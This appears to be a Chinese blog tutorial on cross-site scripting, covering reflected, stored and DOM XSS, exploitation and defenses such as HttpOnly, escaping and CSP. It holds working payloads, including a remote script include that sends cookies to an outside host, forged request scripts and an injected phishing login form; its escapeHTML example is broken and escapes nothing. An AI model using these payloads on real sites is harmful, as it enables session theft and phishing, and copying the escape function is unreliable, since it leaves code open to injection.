06-17 3437人
什么是XSS
XSS(Cross Site Script)攻击是指黑客通过“HTML注入”篡改网页,插入恶意的脚本,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
XSS分类
反射型XSS
反射型XSS也被称为非持久性XSS,是现在最容易出现的一种XSS漏洞。当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="./test.php" method="get">
您的姓名
<input type=text name="name" value="" >
<input type=submit value="登录">
</form>
</body>
</html>
输入一段脚本代码提交,会直接弹出
我们看一下源代码,script脚本被加载到页面中,这显然是有问题的.
存储型XSS
存储型xss会把用户输入的数据存储在服务器端,这种xss具备很强的稳定性,常见的场景就是,黑客写下一篇包含恶意js脚本的博客,其他用户浏览包含恶意js脚本的博客,会在他们浏览器上执行这段恶意代码。包含恶意js脚本的博客是保存在服务端的,所以这种xss攻击叫做“存储型xss”
正常输入
非人类输入
DOM XSS
传统类型的XSS漏洞(反射型或存储型)一般出现在服务器端代码中,而DOM XSS是基于DOM文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。
例:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div id="t"></div>
<input type="text" id="test" value="" />
<input type="button" id="s" value="write" onclick="test()" />
<script>
function test(){
var str = document.getElementById("test").value
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>"
}
</script>
</body>
</html>
点击wirte会有一个超链接,其地址为文本框的内容。
这里的wirte按钮的onclick事件调用了test()函数。而在test()函数。而在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作html写入到页面中,这就造成了DOM based XSS。
我们构造一个恶意数据:' onclick="alert(1)"
也可以选择闭合掉标签,并插入一个新的HTML标签
'><img src=# onerror=alert(/xss1/) /><'
XSS漏洞利用
Cookie劫持
常见的XSS漏洞利用方式有Cookie劫持,一般Cookie中保存了用户的登录凭证。如果Cookie泄露,则可以直接登录进用户的账号。
- 1.用户登录
- 2.攻击者欺骗用户访问带XSS payload的URL
- 3.用户请求攻击者的URL
- 4.在用户浏览器执行远程js,将cookie发送给攻击者
- 5.攻击者利用cookie进入用户账号
我们可以在最初的反射型例子中输入一段包含远程脚本的代码<script src="https://liuliang.tk/getcookie.js"></script>
看下远程服务器响应日志
构造GET与POST请求
通过js,让浏览器发起GET、POST请求,完成各种操作。
- 构造GET请求:通过插入图片,图片的src为GET请求的URL。
// option.js
const img = document.createElement('img')
img.src = 'https://liuliang.tk/option.php?option=add'
document.body.appendChild(img)
构造POST请求:
1.构造form表单,并提交
// option.js const dd = document.createElement ("div") document.body.appendChild(dd) dd.innerHTML = "<form action='option.php' method='post' id='xssform'>" + "<input type='text' name='option' value='add'> </form>" document.getElementById("xssform").submit()
2.使用 ajax 请求
// option.js let ajax = null const url = 'https://liuliang.tk/option.php' if (window.XMLHttpRequest) { ajax = new XMLHttpRequest() } else if (window.ActiveXobject) { ajax = new ActiveX0bject ("Microsoft.XMLHTTP") } else { alert("not compatible") } ajax.open("post", url, true) ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded") ajax.send('option=add') ajax.onreadystatechange = function () { if (ajax.redyState == 4 && ajax.status == 200) { alert("Done") } }
访问https://liuliang.tk/option.php?xss=<script src="https://liuliang.tk/option.js"></script>
option.txt
中写入结果
钓鱼
伪装一个页面
var dd = document.createElement("div")
document.body.appendChild(dd)
dd.innerHTML = "<meta charset='UTF-8'>" +
"<form action='login.php' method='post'>" +
"<li><label>用户名:</label>" + "<input type='text' name='username'></li>" +
"<li><label>密码:</label>" + "<input type= 'password' name='password'></li>" +
"<li><input type='submit' name='login' value='登录'></li></form>"
注入 xss https://liuliang.tk/login.php?param=<script src="https://liuliang.tk/login.js"></script>
识别浏览器及插件
信息收集用户的浏览器版本信息,扩大攻击面。通过js读取浏览器的userAgent对象识别浏览器版本,查询navigator.plugins对象获取插件信息。
XSS防御
HttpOnly
一个cookie的使用过程如下:
step1: 浏览器向服务器发起请求,这时候没有cookie。
step2 : 服务器返回时发送set-cookie,向客户端浏览器写入cookie。
step3: 在该cookie到前期,浏览器访问该域下的所有界面,都将发送该cookie。
<?php
header("Set-Cookie: Cookie1=test1;");
header("Set-Cookie: Cookie2=test2;httponly", false);
?>
<script>
alert(document.cookie)
</script>
只有test1
被读取到
输入检查
对传入参数进行格式校验,并对特殊字符进行过滤或转义。由于输入数据的使用场景不同,过滤或转义可能会影响实际的业务使用。同时XSS攻击发生的位置并不是参数传入的位置,可能存在遗漏。
输入检查的代码一定要在服务器端实现,因为如果在客户端使用JavaScript进行输入检查,很容易绕过检查。正常做法是客户端和服务端实现相同的输入检查,客户端可以阻挡大部分错误操作的正常用户,可以节约服务器的资源。
// js
function escapeHTML(str) {
if (!str) return '';
str = str.replace(/&/g, "&");
str = str.replace(/</g, "<");
str = str.replace(/>/g, ">");
str = str.replace(/"/g, """);
str = str.replace(/'/g, "'");
return str;
};
输出检查
对返回给浏览器的输出结果进行HTML实体化编码。对JavaScript输出的用户可控数据进行转义。
<!--api.php-->
<?php
@$input = $_GET['param'];
echo "<div>.$input.</div>";
echo "<div>".htmlentities($input)."</div>";
echo "<div>".htmlspecialchars($input)."</div>";
?>
注:htmlentities
不指定编码的话遇到中文会乱码
在使用 .innerHTML
、document.write()
、document.outerHTML
这些能够修改页面结构的 API 时要注意防范恶意代码,尽量使用 .textContent
、.setAttribute()
等
内容安全策略(CSP)
内容安全策略(Content Security Policy),实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,大大增强了网页的安全性。
两种方法可以启用 CSP。一种是通过 HTTP 头信息的 Content-Security-Policy 的字段。
Content-Security-Policy: script-src 'self';
object-src 'none';
style-src cdn.example.org iyouhun.com;
child-src https:
另一种是通过网页的 <meta>
标签。
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org iyouhun.com; child-src https:">
上面代码中,CSP 做了如下配置。
- 脚本: 只信任当前域名
<object>
标签: 不信任任何 URL,即不加载任何资源- 样式表: 只信任 cdn.example.org 和 iyouhun.com
- 页面子内容,如
<frame>
、<iframe>
: 必须使用HTTPS协议加载 - 其他资源: 没有限制
启用后,不符合 CSP 的外部资源就会被阻止加载。
案例
百度网盘:https://zhuanlan.zhihu.com/p/24249045
酷站:https://www.cnblogs.com/chyingp/archive/2013/06/06/zcool-xss.html
纯纯地支持一下~
Windows 10 x64 Firefox 47.0